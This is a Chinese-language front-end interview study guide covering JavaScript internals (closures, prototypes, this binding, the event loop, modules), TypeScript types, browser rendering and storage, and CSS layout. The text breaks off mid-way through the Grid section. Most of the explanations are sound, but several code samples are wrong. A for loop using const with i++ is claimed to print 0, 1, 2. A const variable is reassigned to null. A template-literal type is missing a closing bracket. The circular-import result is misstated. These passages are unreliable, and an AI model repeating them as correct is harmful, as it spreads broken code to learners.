目录
- JavaScript 核心原理
- TypeScript 深入
- 浏览器工作原理
- CSS 与布局
- Vue.js 深度原理
- React 深度原理
- 性能优化
- 工程化与构建
- 网络安全
- Node.js 与后端基础
- 算法与数据结构
- 系统设计与架构
- 场景题与实战
- 综合面试技巧
一、JavaScript 核心原理
1.1 执行上下文与调用栈
执行上下文的完整生命周期
JavaScript 代码的执行分为三个阶段,每个阶段都有其特定的任务和职责。
创建阶段(Creation Phase)
在代码执行之前,JavaScript 引擎会创建一个执行上下文,这个过程包括:
// 变量环境创建
VariableEnvironment = {
// 函数声明:完全提升
// var 变量:初始化为 undefined
// 对于 let/const:创建暂时性死区
}
// 词法环境创建
LexicalEnvironment = {
// 记录当前作用域的标识符绑定
// 处理块级作用域
}
// this 绑定
// 在全局上下文中,this 指向全局对象
// 在函数上下文中,this 取决于调用方式
执行阶段(Execution Phase)
代码开始按顺序执行,变量被赋值,函数被调用:
function executeOrder() {
console.log('执行阶段开始');
// 按代码顺序执行
let a = 1;
let b = 2;
let c = a + b;
console.log('执行阶段结束');
}
销毁阶段(Temination Phase)
执行上下文被弹出调用栈,等待垃圾回收:
function outer() {
function inner() {
console.log('inner');
}
// inner 的执行上下文在函数调用结束后被销毁
inner();
}
调用栈的工作机制
调用栈是 JavaScript 引擎用于管理执行上下文的数据结构:
// 调用栈示例
function foo() {
console.log('foo');
bar(); // foo 暂停,bar 入栈
console.log('foo continues');
}
function bar() {
console.log('bar');
}
foo(); // 全局上下文入栈
// 调用栈: [全局上下文]
// 调用 foo()
// 调用栈: [全局上下文, foo 执行上下文]
// 调用 bar()
// 调用栈: [全局上下文, foo 执行上下文, bar 执行上下文]
// bar 完成,出栈
// 调用栈: [全局上下文, foo 执行上下文]
// foo 完成,出栈
// 调用栈: [全局上下文]
栈溢出(Stack Overflow)
当调用栈超过其最大大小时会发生栈溢出:
// 递归导致的栈溢出
function recursiveDeep() {
recursiveDeep();
}
recursiveDeep();
// Uncaught RangeError: Maximum call stack size exceeded
// 尾调用优化可以避免这个问题
function optimizedRecursive(n, acc = 1) {
if (n <= 1) return acc;
return optimizedRecursive(n - 1, n * acc); // 尾调用
}
// 但 JavaScript 引擎对尾调用优化的支持不一致
1.2 变量提升与暂时性死区
var 的提升机制
console.log(a); // undefined,而不是 ReferenceError
var a = 1;
// 实际执行过程:
// var a;
// console.log(a); // a 已被声明,值为 undefined
// a = 1;
函数声明与函数表达式的区别
// 函数声明:完全提升
console.log(funcDeclaration()); // 可以调用
function funcDeclaration() {
return 'function declaration';
}
// 函数表达式:只有变量提升
// console.log(funcExpression()); // TypeError
var funcExpression = function() {
return 'function expression';
};
let 和 const 的暂时性死区
{
// TDZ 开始
console.log(a); // ReferenceError
console.log(b); // ReferenceError
let a = 1; // TDZ 结束
const b = 2; // TDZ 结束
// 可以正常访问
console.log(a); // 1
console.log(b); // 2
}
// typeof 操作符的安全问题
typeof x; // 在全局作用域不会报错,返回 'undefined'
{
typeof x; // ReferenceError,因为 let x 存在暂时性死区
let x;
}
1.3 作用域链与词法环境
作用域链的构建过程
// 全局作用域
var globalVar = 'global';
function outer() {
var outerVar = 'outer';
function inner() {
var innerVar = 'inner';
console.log(innerVar); // 就近原则
console.log(outerVar); // 从 outer 作用域查找
console.log(globalVar); // 从全局作用域查找
}
inner();
}
块级作用域的实际应用
// 经典的 for 循环问题
for (var i = 0; i < 3; i++) {
setTimeout(function() {
console.log(i); // 总是输出 3
}, 0);
}
// 解决方案 1:使用 IIFE
for (var i = 0; i < 3; i++) {
(function(j) {
setTimeout(function() {
console.log(j); // 输出 0, 1, 2
}, 0);
})(i);
}
// 解决方案 2:使用 let
for (let i = 0; i < 3; i++) {
setTimeout(function() {
console.log(i); // 输出 0, 1, 2
}, 0);
}
// 解决方案 3:使用 const
for (const i = 0; i < 3; i++) {
setTimeout(function() {
console.log(i); // 输出 0, 1, 2
}, 0);
}
1.4 闭包的深度理解
闭包的本质
闭包是函数与其词法环境的组合:
function createCounter() {
let count = 0;
return {
increment() {
return ++count;
},
decrement() {
return --count;
},
getCount() {
return count;
}
};
}
const counter = createCounter();
console.log(counter.increment()); // 1
console.log(counter.increment()); // 2
console.log(counter.getCount()); // 2
// count 变量被闭包保持,即使 createCounter 已经执行完毕
闭包的内存模型
// 闭包与内存泄漏
function heavyFunction() {
const largeData = new Array(1000000).fill('data');
const cache = new Map();
return function processData(data) {
// 使用 largeData 和 cache
return largeData.length + cache.size;
};
}
// 如果返回的函数被长期持有,largeData 和 cache 就无法被回收
const processor = heavyFunction();
processor('test');
// 需要手动释放
processor = null; // 解除引用
闭包的高级应用
// 柯里化(Currying)
function curry(fn) {
return function curried(...args) {
if (args.length >= fn.length) {
return fn.apply(this, args);
}
return function(...moreArgs) {
return curried.apply(this, [...args, ...moreArgs]);
};
};
}
function add(a, b, c) {
return a + b + c;
}
const curriedAdd = curry(add);
console.log(curriedAdd(1)(2)(3)); // 6
console.log(curriedAdd(1, 2)(3)); // 6
console.log(curriedAdd(1, 2, 3)); // 6
// 防抖(Debounce)
function debounce(fn, delay) {
let timer = null;
return function(...args) {
clearTimeout(timer);
timer = setTimeout(() => {
fn.apply(this, args);
}, delay);
};
}
// 节流(Throttle)
function throttle(fn, interval) {
let lastTime = 0;
return function(...args) {
const now = Date.now();
if (now - lastTime >= interval) {
lastTime = now;
fn.apply(this, args);
}
};
}
1.5 原型链与继承
原型的完整结构
// 构造函数
function Person(name, age) {
this.name = name;
this.age = age;
}
// 添加实例方法
Person.prototype.sayHello = function() {
return `Hello, I'm ${this.name}`;
};
// 添加静态方法
Person.staticMethod = function() {
return 'Static method';
};
// 创建实例
const alice = new Person('Alice', 25);
// 原型链:
// alice → Person.prototype → Object.prototype → null
// 属性查找过程
console.log(alice.name); // 'Alice'(自身属性)
console.log(alice.toString()); // 从 Object.prototype 继承
console.log(alice.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null
继承方式的演进
// 1. 原型链继承
function Parent1() {
this.name = 'parent1';
}
Parent1.prototype.say = function() {
console.log(this.name);
};
function Child1() {
this.childName = 'child1';
}
Child1.prototype = new Parent1();
Child1.prototype.constructor = Child1;
// 2. 构造函数继承
function Parent2(name) {
this.name = name;
this.colors = ['red', 'blue'];
}
Parent2.prototype.sayName = function() {
console.log(this.name);
};
function Child2(name, age) {
Parent2.call(this, name); // 借用构造函数
this.age = age;
}
// 3. 组合继承
function Parent3(name) {
this.name = name;
this.colors = ['red', 'blue'];
}
Parent3.prototype.sayName = function() {
console.log(this.name);
};
function Child3(name, age) {
Parent3.call(this, name);
this.age = age;
}
Child3.prototype = new Parent3();
Child3.prototype.constructor = Child3;
// 4. 原型式继承
function createObj(o) {
function F() {}
F.prototype = o;
return new F();
}
const parent = {
name: 'parent',
friends: ['p1', 'p2']
};
const child = Object.create(parent);
// 5. 寄生式继承
function createChild(parent) {
const clone = Object.create(parent);
clone.sayHi = function() {
console.log('Hi');
};
return clone;
}
// 6. 寄生组合继承(最完善的方式)
function inheritPrototype(Parent, Child) {
const prototype = Object.create(Parent.prototype);
prototype.constructor = Child;
Child.prototype = prototype;
}
function Parent4(name) {
this.name = name;
}
Parent4.prototype.sayName = function() {
console.log(this.name);
};
function Child4(name, age) {
Parent4.call(this, name);
this.age = age;
}
inheritPrototype(Parent4, Child4);
Child4.prototype.sayAge = function() {
console.log(this.age);
};
// 7. ES6 Class 继承
class Animal {
constructor(name) {
this.name = name;
}
speak() {
console.log(`${this.name} makes a sound.`);
}
static isAnimal(obj) {
return obj instanceof Animal;
}
}
class Dog extends Animal {
constructor(name, breed) {
super(name);
this.breed = breed;
}
speak() {
console.log(`${this.name} barks.`);
}
}
ES6 Class 的实现细节
// Class 本质是构造函数
class MyClass {
constructor(value) {
this.value = value;
}
getValue() {
return this.value;
}
static staticMethod() {
return 'static';
}
}
// 等价于
function MyClass(value) {
this.value = value;
}
MyClass.prototype.getValue = function() {
return this.value;
};
MyClass.staticMethod = function() {
return 'static';
};
// super 关键字的实现
class Parent {
constructor() {
this.name = 'parent';
}
greet() {
return `Hello, ${this.name}`;
}
}
class Child extends Parent {
constructor() {
// 等价于 Parent.call(this)
super();
}
greet() {
// 调用父类方法
return super.greet() + '!';
}
}
1.6 this 绑定机制
this 的四种绑定规则
// 1. 默认绑定(独立函数调用)
function defaultBinding() {
console.log(this); // 非严格模式:global;严格模式:undefined
}
defaultBinding();
// 2. 隐式绑定(对象方法调用)
const obj = {
name: 'object',
greet() {
console.log(this.name); // this 指向 obj
}
};
obj.greet(); // 'object'
// 隐式绑定丢失
const greetFn = obj.greet;
greetFn(); // this 指向全局或 undefined(严格模式)
// 3. 显式绑定(call/apply/bind)
function greet(greeting, punctuation) {
return `${greeting}, ${this.name}${punctuation}`;
}
const person = { name: 'Alice' };
greet.call(person, 'Hello', '!'); // 'Hello, Alice!'
greet.apply(person, ['Hello', '!']); // 'Hello, Alice!'
const boundGreet = greet.bind(person);
boundGreet('Hi', '.'); // 'Hi, Alice.'
// 4. new 绑定(构造函数调用)
function Person(name) {
this.name = name;
}
const p = new Person('Alice');
// this 指向新创建的实例
箭头函数的 this 特性
// 箭头函数没有自己的 this
const obj = {
name: 'object',
greet: () => {
console.log(this.name); // 继承外层的 this
},
greetNormal() {
return () => {
console.log(this.name); // 指向 obj
};
}
};
// 常见问题场景
const Counter = {
count: 0,
increment() {
// 错误:setTimeout 中使用普通函数
setTimeout(function() {
this.count++; // this 指向全局
}, 1000);
// 正确:使用箭头函数
setTimeout(() => {
this.count++; // this 指向 Counter
}, 1000);
// 正确:保存 this 引用
const self = this;
setTimeout(function() {
self.count++;
}, 1000);
}
};
绑定规则的优先级
// new 绑定 > 显式绑定 > 隐式绑定 > 默认绑定
function foo() {
console.log(this.value);
}
const obj1 = { value: 1, foo };
const obj2 = { value: 2, foo };
obj1.foo(); // 隐式绑定:1
obj1.foo.call(obj2); // 显式绑定:2
obj1.foo.apply(obj2); // 显式绑定:2
const BoundFoo = obj1.foo.bind(obj2);
BoundFoo(); // 显式绑定:2
new BoundFoo(); // new 绑定:创建一个新对象,忽略 bind 的 this
1.7 事件循环与异步
事件循环的完整机制
// 事件循环可视化
console.log('start');
setTimeout(() => {
console.log('timeout 1');
}, 0);
Promise.resolve().then(() => {
console.log('promise 1');
});
queueMicrotask(() => {
console.log('microtask 1');
});
console.log('end');
// 执行顺序:
// 1. 同步代码:start → end
// 2. 微任务队列:promise 1 → microtask 1
// 3. 宏任务队列:timeout 1
宏任务与微任务的详细分类
// 宏任务(Macrotasks)
// - script 代码
// - setTimeout / setInterval
// - setImmediate(Node.js)
// - I/O 操作
// - UI 渲染
// 微任务(Microtasks)
// - Promise.then/catch/finally
// - MutationObserver
// - queueMicrotask
// - process.nextTick(Node.js)
// - async/await(底层是 Promise)
// 完整执行流程
async function asyncFlow() {
console.log('async start');
await Promise.resolve().then(() => {
console.log('await microtask');
});
console.log('async end');
}
console.log('main start');
asyncFlow();
console.log('main end');
// 输出:
// main start
// async start
// main end
// await microtask
// async end
setTimeout 与 setInterval 的深入理解
// setTimeout 的最小延迟
// 浏览器最小为 4ms,Node.js 最小为 1ms
// setInterval 的问题
const intervalId = setInterval(() => {
console.log('interval');
}, 100);
// 问题:如果回调执行时间超过间隔,会造成任务堆积
// 解决方案:使用递归 setTimeout
function customInterval(fn, delay) {
let id = null;
function schedule() {
id = setTimeout(() => {
fn();
schedule(); // 递归调用
}, delay);
}
schedule();
return {
cancel() {
clearTimeout(id);
}
};
}
// setTimeout 的精度问题
// 延迟指定的是"至少"等待的时间,不是精确的
Promise 的深度理解
// Promise 状态机
const pending = new Promise((resolve, reject) => {
// pending 状态
});
const fulfilled = Promise.resolve('value');
const rejected = Promise.reject(new Error('error'));
// Promise 链式调用
Promise.resolve(1)
.then(x => x + 1) // 2
.then(x => x * 2) // 4
.then(x => Promise.resolve(x - 1)) // 3(异步)
.then(x => x + 10) // 13
.then(x => console.log(x)); // 13
// Promise.all 的并发控制
async function fetchAllSequentially(urls) {
const results = [];
for (const url of urls) {
results.push(await fetch(url).then(r => r.json()));
}
return results;
}
// Promise.all 并发执行
async function fetchAllConcurrent(urls) {
const promises = urls.map(url => fetch(url).then(r => r.json()));
return Promise.all(promises);
}
// 带超时的 Promise
function withTimeout(promise, timeout) {
return Promise.race([
promise,
new Promise((_, reject) =>
setTimeout(() => reject(new Error('Timeout')), timeout)
)
]);
}
// 并发限制
async function asyncPool(limit, tasks) {
const results = [];
const executing = new Set();
for (const task of tasks) {
const promise = Promise.resolve().then(() => task());
results.push(promise);
executing.add(promise);
promise.finally(() => executing.delete(promise));
if (executing.size >= limit) {
await Promise.race(executing);
}
}
return Promise.all(results);
}
async/await 的原理
// async/await 是 Promise + 生成器的语法糖
async function asyncFunc() {
const result1 = await promise1;
const result2 = await promise2;
return result1 + result2;
}
// 等价于
function asyncFunc() {
return promise1.then(result1 => {
return promise2.then(result2 => {
return result1 + result2;
});
});
}
// 错误处理
async function errorHandling() {
try {
const result = await riskyOperation();
return result;
} catch (error) {
// 处理错误
console.error(error);
throw error; // 重新抛出
}
}
// 并行执行
async function parallelExecution() {
// 错误:顺序执行
// const a = await task1(); // 等待完成
// const b = await task2(); // 等待完成
// 正确:并行执行
const [a, b] = await Promise.all([task1(), task2()]);
return a + b;
}
// 循环中的异步
async function processInLoop(items) {
// 顺序执行
for (const item of items) {
await processItem(item);
}
// 并行执行
await Promise.all(items.map(item => processItem(item)));
}
1.8 模块系统
ES Modules
// 导出方式
export const name = 'module';
export function greet() {
return 'Hello';
}
export class Person {}
// 默认导出
export default function() {
console.log('default export');
}
// 导入方式
import defaultExport from './module.js';
import { name, greet } from './module.js';
import * as module from './module.js';
// 动态导入
async function loadModule() {
const module = await import('./dynamic-module.js');
return module.default();
}
// 导入导出重命名
import { name as moduleName } from './module.js';
export { name as moduleName };
CommonJS
// 导出
module.exports = {
name: 'module',
greet: function() {
return 'Hello';
}
};
// 或
exports.name = 'module';
// 导入
const module = require('./module.js');
const { name, greet } = require('./module.js');
// module.exports 与 exports 的区别
console.log(module.exports === exports); // true
// 但重新赋值不会生效
exports = { name: 'new' }; // 不会改变 module.exports
module.exports = { name: 'new' }; // 会改变
模块加载机制
// ES Modules 是静态的
// 可以在编译时确定依赖关系
// 支持 Tree Shaking
// CommonJS 是动态的
// require() 可以在任何位置调用
// 无法进行 Tree Shaking
// 循环引用问题
// a.js
export const a = 'a';
import { b } from './b.js';
export const aFromB = b;
// b.js
export const b = 'b';
import { a } from './a.js';
export const bFromA = a;
// 结果:aFromB 为 undefined,因为 a 还未完成初始化
二、TypeScript 深入
2.1 类型系统基础
原始类型与对象类型
// 原始类型
let name: string = 'Alice';
let age: number = 25;
let isActive: boolean = true;
let notFound: null = null;
let undefinedValue: undefined = undefined;
// symbol 和 bigint
let sym: symbol = Symbol('key');
let bigNumber: bigint = 100n;
// 对象类型
const user: { name: string; age: number } = {
name: 'Alice',
age: 25
};
// 数组类型
let numbers: number[] = [1, 2, 3];
let strings: Array<string> = ['a', 'b', 'c'];
// 元组类型
let tuple: [string, number, boolean] = ['hello', 42, true];
类型注解与类型推断
// 类型注解:显式指定类型
function add(a: number, b: number): number {
return a + b;
}
// 类型推断:TypeScript 自动推断类型
const numbers = [1, 2, 3]; // number[]
const first = numbers[0]; // number
// 复杂推断
const person = {
name: 'Alice',
age: 25
}; // { name: string; age: number }
// 函数推断
const add = (a: number, b: number) => a + b; // (a: number, b: number) => number
2.2 高级类型
联合类型与交叉类型
// 联合类型
type ID = string | number;
let userId: ID = 'user-123';
userId = 12345;
// 交叉类型
type Person = { name: string };
type Employee = { employeeId: number };
type Worker = Person & Employee;
const worker: Worker = {
name: 'Alice',
employeeId: 12345
};
类型守卫
// 类型守卫函数
function isString(value: unknown): value is string {
return typeof value === 'string';
}
function processValue(value: string | number) {
if (isString(value)) {
// TypeScript 知道 value 是 string
return value.toUpperCase();
}
// TypeScript 知道 value 是 number
return value * 2;
}
// in 操作符类型守卫
interface Dog {
bark(): void;
}
interface Cat {
meow(): void;
}
function makeSound(animal: Dog | Cat) {
if ('bark' in animal) {
animal.bark();
} else {
animal.meow();
}
}
// instanceof 类型守卫
class ApiError extends Error {
constructor(message: string, public statusCode: number) {
super(message);
}
}
function handleError(error: unknown) {
if (error instanceof ApiError) {
// error 是 ApiError 类型
console.error(error.statusCode);
}
}
条件类型
// 基础条件类型
type IsString<T> = T extends string ? true : false;
type A = IsString<string>; // true
type B = IsString<number>; // false
// 分布式条件类型
type ToArray<T> = T extends any ? T[] : never;
type C = ToArray<string | number>; // string[] | number[]
// 内置条件类型
type NonNullable<T> = T extends null | undefined ? never : T;
type D = NonNullable<string | null | undefined>; // string
type ReturnType<T> = T extends (...args: any[]) => infer R ? R : any;
type E = ReturnType<() => number>; // number
type InstanceType<T extends new (...args: any[]) => any> =
T extends new (...args: any[]) => infer R ? R : never;
映射类型
// 基础映射类型
type Readonly<T> = {
readonly [P in keyof T]: T[P];
};
type Partial<T> = {
[P in keyof T]?: T[P];
};
// 工具类型实现
type Pick<T, K extends keyof T> = {
[P in K]: T[P];
};
type Omit<T, K extends keyof T> = {
[P in Exclude<keyof T, K>]: T[P];
};
type Record<K extends keyof any, T> = {
[P in K]: T;
};
// 映射类型修饰符
type Mutable<T> = {
-readonly [P in keyof T]: T[P];
};
type Required<T> = {
[P in keyof T]-?: T[P];
};
// 实际应用
interface User {
id: number;
name: string;
email: string;
password: string;
}
type PublicUser = Pick<User, 'id' | 'name' | 'email'>;
type CreateUserInput = Omit<User, 'id'>;
type PartialUser = Partial<User>;
模板字面量类型
// 基础模板字面量类型
type Greeting = `Hello, ${string}`;
const greeting: Greeting = 'Hello, World';
type EventName = `on${string}`;
const event: EventName = 'onClick';
// 联合类型中使用
type Direction = 'top' | 'bottom' | 'left' | 'right';
type Padding = `padding${Capitalize<Direction}`;
// paddingTop | paddingBottom | paddingLeft | paddingRight
// 复杂场景
type Path = '/users' | '/posts' | '/comments';
type ApiEndpoint = `${Path}/${string}`;
// /users/:id | /posts/:id | /comments/:id
// 属性名转换
type CamelToSnake<T extends string> =
T extends `${infer F}${infer R}`
? F extends Lowercase<F>
? `${F}${CamelToSnake<R>}`
: `_${Lowercase<F>}${CamelToSnake<R>}`
: T;
2.3 泛型
泛型基础
// 泛型函数
function identity<T>(value: T): T {
return value;
}
const num = identity(42); // T 推断为 number
const str = identity('hello'); // T 推断为 string
// 泛型接口
interface Container<T> {
value: T;
getValue(): T;
}
const numberContainer: Container<number> = {
value: 42,
getValue() { return this.value; }
};
// 泛型类
class Box<T> {
contents: T;
constructor(contents: T) {
this.contents = contents;
}
getContents(): T {
return this.contents;
}
}
泛型约束
// 类型约束
interface Lengthwise {
length: number;
}
function loggingIdentity<T extends Lengthwise>(arg: T): T {
console.log(arg.length);
return arg;
}
// 约束于另一个类型参数
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
return obj[key];
}
const user = { name: 'Alice', age: 25 };
const name = getProperty(user, 'name'); // string
// 约束于构造函数
function createInstance<T extends Constructor>(constructor: T): InstanceType<T> {
return new constructor();
}
多类型参数
// 多个泛型参数
function pair<K, V>(key: K, value: V): [K, V] {
return [key, value];
}
const result = pair('age', 30); // [string, number]
// 泛型中的默认类型
interface ApiResponse<T = any> {
data: T;
status: number;
message: string;
}
const response: ApiResponse = {
data: { foo: 'bar' },
status: 200,
message: 'OK'
};
// 泛型工具类型
type ApiResponseOf<T> = ApiResponse<T>;
2.4 实际应用
React 中的 TypeScript
// Props 类型定义
interface ButtonProps {
variant: 'primary' | 'secondary' | 'danger';
size: 'small' | 'medium' | 'large';
onClick: () => void;
disabled?: boolean;
children: React.ReactNode;
}
// 组件类型
import React from 'react';
const Button: React.FC<ButtonProps> = ({
variant,
size,
onClick,
disabled = false,
children
}) => {
return (
<button
className={`btn btn-${variant} btn-${size}`}
onClick={onClick}
disabled={disabled}
>
{children}
</button>
);
};
// 事件处理类型
const handleChange: React.ChangeEventHandler<HTMLInputElement> = (event) => {
console.log(event.target.value);
};
const handleClick: React.MouseEventHandler<HTMLButtonElement> = (event) => {
console.log(event.currentTarget.dataset.id);
};
// useState 类型
const [count, setCount] = useState<number>(0);
const [user, setUser] = useState<User | null>(null);
const [items, setItems] = useState<Item[]>([]);
// useRef 类型
const inputRef = useRef<HTMLInputElement>(null);
const videoRef = useRef<HTMLVideoElement>(null);
// useReducer 类型
type Action =
| { type: 'increment' }
| { type: 'decrement' }
| { type: 'set'; payload: number };
const [state, dispatch] = useReducer((state: number, action: Action) => {
switch (action.type) {
case 'increment': return state + 1;
case 'decrement': return state - 1;
case 'set': return action.payload;
default: return state;
}
}, 0);
Vue 中的 TypeScript
// Props 类型定义
interface User {
id: number;
name: string;
email: string;
}
const props = defineProps<{
user: User;
isActive: boolean;
tags?: string[];
}>();
// 事件类型
const emit = defineEmits<{
(e: 'update', value: string): void;
(e: 'delete', id: number): void;
(e: 'change', payload: { old: string; new: string }): void;
}>();
// 组件类型
import { defineComponent } from 'vue';
export default defineComponent({
props: {
title: { type: String, required: true },
count: { type: Number, default: 0 }
},
emits: ['update'],
setup(props, { emit }) {
// 类型安全的 props
console.log(props.title.toUpperCase());
const handleClick = () => {
emit('update', 'new value');
};
return { handleClick };
}
});
三、浏览器工作原理
3.1 浏览器架构
多进程架构
现代浏览器采用多进程架构,主要进程包括:
// 浏览器进程(Browser Process)
// - UI 线程:绘制浏览器按钮和输入框
// - 网络线程:处理网络请求
// - 存储线程:处理文件访问
// 渲染进程(Renderer Process)
// - 每个标签页一个渲染进程
// - 主线程:执行 JS、DOM、CSS
// - Compositor 线程:处理合成
// - Worker 线程:Web Workers
// GPU 进程(GPU Process)
// - 处理 GPU 相关任务
// 插件进程(Plugin Process)
// - 每个插件一个进程
// 实用进程(Utility Process)
// - 处理后台任务
进程间通信
// 主进程与渲染进程通信
// 渲染进程(iframe 或独立页面)
window.parent.postMessage({
type: 'DATA_FROM_RENDERER',
payload: { message: 'Hello from renderer' }
}, '*');
// 主进程监听
window.addEventListener('message', (event) => {
console.log('Received:', event.data);
});
3.2 渲染流程
完整渲染流水线
// 1. DOM 构建
// HTML Parser → Token → AST → DOM Tree
// 2. CSSOM 构建
// CSS Parser → Rule → CSSOM Tree
// 3. Render 树构建
// DOM + CSSOM → Render Tree
// 4. Layout(布局/回流)
// 计算每个节点的几何信息
// - 位置 (x, y)
// - 尺寸 (width, height)
// - 层级 (z-index)
// 5. Paint(绘制)
// 将渲染树转换为屏幕像素
// - 绘制顺序:背景色 → 文字 → 边框 → 阴影
// 6. Composite(合成)
// 将不同图层合并
// - Transform, Opacity 在合成层处理
// - 触发 GPU 加速
渲染时机
// 关键渲染路径
document.addEventListener('DOMContentLoaded', () => {
// DOM 构建完成
});
window.addEventListener('load', () => {
// 所有资源加载完成
});
window.addEventListener('beforeunload', () => {
// 页面即将卸载
// 用于保存用户数据
});
// requestAnimationFrame
function animate(timestamp) {
// 在下一次重绘前执行
// 适合动画和游戏循环
requestAnimationFrame(animate);
}
// 性能优化:避免布局抖动
function badPattern() {
// 强制同步布局
element.style.width = '100px';
console.log(element.offsetWidth); // 触发回流
element.style.height = '100px';
}
function goodPattern() {
// 读取后写入,写入后读取
const width = element.offsetWidth;
element.style.width = '100px';
element.style.height = '100px';
}
3.3 CSS 引擎
选择器匹配
/* 选择器优先级 */
#app .container .item { } /* ID: 1, Class: 2, Tag: 1 = 优先级 0-1-2-0 */
.container .item { } /* Class: 2, Tag: 1 = 优先级 0-0-2-0 */
.item { } /* Class: 1 = 优先级 0-0-1-0 */
div { } /* Tag: 1 = 优先级 0-0-0-1 */
/* 选择器从右向左匹配 */
.container .item .title { }
/* 先找所有 .title,再找父级 .item,再找父级 .container */
CSS 布局系统
/* 盒模型 */
.box {
box-sizing: content-box; /* 默认 */
box-sizing: border-box; /* 推荐 */
}
/* Flexbox */
.container {
display: flex;
flex-direction: row | column;
justify-content: center | space-between;
align-items: center | stretch;
flex-wrap: wrap;
gap: 10px;
}
/* Grid */
.grid {
display: grid;
grid-template-columns: repeat(3, 1fr);
grid-template-rows: auto;
gap: 1rem;
grid-template-areas:
"header header header"
"sidebar main main"
"footer footer footer";
}
3.4 事件系统
事件流
// 事件捕获阶段:从上到下
// 目标阶段
// 事件冒泡阶段:从下到上
// 事件监听器
element.addEventListener('click', handler, {
capture: false, // 冒泡阶段(默认)
capture: true, // 捕获阶段
once: true, // 只执行一次
passive: true // 不阻止默认行为
});
// 事件代理
document.querySelector('ul').addEventListener('click', (e) => {
if (e.target.tagName === 'LI') {
e.target.classList.toggle('active');
}
});
// 自定义事件
const myEvent = new CustomEvent('myCustomEvent', {
detail: { data: 'some data' },
bubbles: true,
cancelable: true
});
element.dispatchEvent(myEvent);
// 事件循环中的事件处理
// 1. 宏任务:script, setTimeout, setInterval
// 2. 微任务:Promise.then, queueMicrotask
// 3. 渲染:requestAnimationFrame, layout, paint
3.5 存储机制
Web Storage
// localStorage
localStorage.setItem('key', 'value');
localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();
// 只能存储字符串
localStorage.setItem('user', JSON.stringify({ name: 'Alice' }));
const user = JSON.parse(localStorage.getItem('user'));
// 存储事件(跨标签页通信)
window.addEventListener('storage', (e) => {
console.log('Key:', e.key);
console.log('Old Value:', e.oldValue);
console.log('New Value:', e.newValue);
console.log('URL:', e.url);
});
// sessionStorage
sessionStorage.setItem('session', 'data');
// 标签页关闭后清除
IndexedDB
// 打开数据库
const request = indexedDB.open('MyDatabase', 1);
// 数据库升级
request.onupgradeneeded = (event) => {
const db = event.target.result;
// 创建对象仓库
const store = db.createObjectStore('users', {
keyPath: 'id',
autoIncrement: true
});
// 创建索引
store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
// 添加初始数据
store.add({ name: 'Alice', email: 'alice@example.com', age: 25 });
store.add({ name: 'Bob', email: 'bob@example.com', age: 30 });
};
// 成功打开
request.onsuccess = (event) => {
const db = event.target.result;
// 事务
const transaction = db.transaction(['users'], 'readwrite');
const store = transaction.objectStore('users');
// 添加数据
const addRequest = store.add({ name: 'Charlie', age: 35 });
addRequest.onsuccess = () => console.log('Added:', addRequest.result);
// 查询数据
const getRequest = store.get(1);
getRequest.onsuccess = () => console.log('Got:', getRequest.result);
// 使用索引查询
const index = store.index('name');
const getByName = index.get('Alice');
// 更新数据
const updateRequest = store.put({ id: 1, name: 'Alice Updated', age: 26 });
// 删除数据
const deleteRequest = store.delete(1);
};
// 错误处理
request.onerror = (event) => {
console.error('Database error:', event.target.error);
};
Cache API
// Service Worker Cache
const CACHE_NAME = 'my-cache-v1';
const STATIC_ASSETS = [
'/',
'/index.html',
'/styles/main.css',
'/scripts/app.js',
'/images/logo.png'
];
// 安装 Service Worker
self.addEventListener('install', (event) => {
event.waitUntil(
caches.open(CACHE_NAME).then((cache) => {
return cache.addAll(STATIC_ASSETS);
})
);
});
// 拦截网络请求
self.addEventListener('fetch', (event) => {
event.respondWith(
caches.match(event.request).then((cached) => {
if (cached) {
return cached;
}
return fetch(event.request).then((response) => {
// 缓存新的响应
if (response.ok) {
const responseClone = response.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, responseClone);
});
}
return response;
});
})
);
});
// 激活 Service Worker
self.addEventListener('activate', (event) => {
event.waitUntil(
caches.keys().then((cacheNames) => {
return Promise.all(
cacheNames.map((name) => {
if (name !== CACHE_NAME) {
return caches.delete(name);
}
})
);
})
);
});
四、CSS 与布局
4.1 CSS 核心概念
层叠上下文
/* 层叠顺序(从低到高):
1. 背景和边框(层叠上下文内部)
2. 负 z-index
3. 块级盒
4. 浮动盒
5. 行内盒
6. z-index: auto 或 z-index: 0
7. 正 z-index
*/
.layer1 { position: relative; z-index: 1; }
.layer2 { position: relative; z-index: 2; }
/* 创建层叠上下文的属性:
- position: absolute/fixed(除 z-index: auto)
- opacity < 1
- transform != none
- filter != none
- perspective != none
- isolation: isolate
- mix-blend-mode != normal
*/
BFC(块级格式化上下文)
/* 创建 BFC 的方式:
- overflow: hidden/auto/scroll(除 visible)
- display: inline-block/flex/grid
- position: absolute/fixed
- float: left/right
*/
.parent {
overflow: hidden; /* 创建 BFC */
/* 效果:包含浮动子元素 */
}
.container {
overflow: hidden;
/* 效果:防止 margin 合并 */
}
4.2 响应式设计
媒体查询
/* 断点设置 */
@media screen and (max-width: 768px) {
/* 平板及以下 */
}
@media screen and (min-width: 769px) and (max-width: 1024px) {
/* 平板 */
}
@media screen and (min-width: 1025px) {
/* 桌面 */
}
/* 移动优先写法 */
.mobile-first {
/* 默认样式(移动端) */
}
@media (min-width: 768px) {
/* 平板 */
}
@media (min-width: 1024px) {
/* 桌面 */
}
弹性布局
/* Flexbox 完整示例 */
.flex-container {
display: flex;
flex-direction: row | row-reverse | column | column-reverse;
flex-wrap: nowrap | wrap | wrap-reverse;
justify-content: flex-start | center | space-between | space-around;
align-items: stretch | flex-start | center | flex-end | baseline;
align-content: flex-start | center | space-between | space-around | stretch;
gap: 10px;
}
.flex-item {
order: 0; /* 项目排列顺序 */
flex-grow: 1; /* 放大比例 */
flex-shrink: 0; /* 缩小比例 */
flex-basis: 200px; /* 基础尺寸 */
flex: 1 1 200px; /* 简写 */
align-self: auto | stretch | center | flex-start | flex-end;
}
Grid 布局
/* Grid 完整示例 */
.grid-container {
display: grid;
/* 轨道大小 */
grid-template-columns: 100px 1fr 2fr;
grid-template-rows: auto;
grid-auto-rows: minmax(100px, auto);
/* 间隙 */
gap: 10px;
column-gap: 10px;
row-gap: 20px;
/* 区域划分 */
grid-template-areas:
"header header header"
"sidebar main main"
"footer footer footer";
}
.grid-item {
